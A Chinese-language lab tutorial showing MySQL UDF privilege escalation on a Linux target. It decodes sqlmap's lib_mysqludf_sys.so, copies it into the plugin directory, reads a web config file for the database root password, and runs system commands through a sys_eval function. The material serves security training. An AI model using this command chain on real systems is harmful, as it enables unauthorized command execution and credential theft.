Mysql提權-基於Mysql的UDF提權(Linux系統)
基於Mysql的UDF提權(Linux系統)
【實驗目的】
通過本實驗理解如何通過webshell結合sqlmap自帶的dll檔案對Linux系統進行UDF提權,熟悉UDF提權的主要方法。
【實驗環境】
攻擊機:Kali-pri
使用者名稱college,密碼360College
目標靶機:CentOS-sqli-lab
使用者名稱college,密碼360College
【實驗原理】
scp命令簡介:
scp是 secure copy的縮寫, scp是linux系統下基於ssh登入進行安全的遠端檔案拷貝命令。linux的scp命令可以在linux伺服器之間複製檔案和目錄。
複製檔案的命令格式:
scp local_file remote_username@remote_ip:remote_folder
scp dama.php :/var/www/html/wordpress
【實驗步驟】
1.啟動靶機CentOS-sqli-lab、攻擊機Kali-pri。
2.將Kali系統中sqlmap自帶的udf提權庫檔案進行解碼。 在Kali攻擊機上,啟動終端,依次輸入如下命令:
(1)sudo su
//切換到root使用者
(2)cd /usr/share/sqlmap/extra/cloak/
//進入cloak目錄
(3)python cloak.py -d -i /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so_
//將lib_mysqludf_sys.so_進行解碼
解碼後,在/usr/share/sqlmap/udf/mysql/linux/64目錄下會生成一個名為“lib_mysqludf_sys.so”的解碼後的so檔案。
3.將攻擊機上的lib_mysqludf_sys.so檔案上傳至靶機的/usr/lib64/mysql/plugin目錄(此為mysql資料庫的外掛安裝目錄),所用命令為:
scp /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so 【靶機的賬戶】@【靶機IP地址】: /usr/lib64/mysql/plugin
這裡所用的靶機賬戶為college,密碼為360College
4.在Kali攻擊機上,利用nmap掃描靶機開放的埠,所用命令為:
nmap -sS 【靶機IP地址】
注意:該命令只有管理員身份(即root使用者)才能使用!
通過nmap掃描結果得知,目標靶機開放了TCP 22埠。
5.在Kali攻擊機上,通過SSH連線靶機,所用命令為:
ssh 【靶機的賬戶】@【靶機IP地址】
這裡所用的靶機賬戶為college,密碼為360College
6.通過SSH成功連線靶機後,進入靶機的/var/www/html/sql-connections目錄,通過檢視db-creds.inc檔案內容獲取靶機MySQL資料庫root賬戶的密碼。所用命令為:
(1)cd /var/www/html/sql-connections
//進入該目錄
(2)cat db-creds.inc
//檢視db-creds.inc檔案內容
這裡獲取到的MySQL資料庫root賬戶的密碼為root123456
7.用root賬戶連線靶機的MySQL資料庫。
依次輸入以下命令:
(1)cd /usr/bin
//進入MySQL可執行檔案的目錄
(2)mysql -h 127.0.0.1 -u root -p
//連線MySQL
(3)輸入root賬戶的密碼root123456
當出現mysql>的提示符時,則表示連線成功。
8.利用第3步中上傳的lib_mysqludf_sys.so檔案,建立一個MySQL函式sys_eval,所用命令為:
create function sys_eval returns strings soname ‘lib_mysqludf_sys.so’;
建立完成後,利用如下命令檢視結果:
select * from mysql.func;
9.利用sys_eval函式執行系統命令:
(1)select sys_eval(‘whoami’);
(2)select sys_eval(‘id’);
實驗至此結束。
【思考與總結】
通過本次實驗,掌握了利用webshell結合sqlmap自帶的dll檔案對Linux系統進行UDF提權的方法。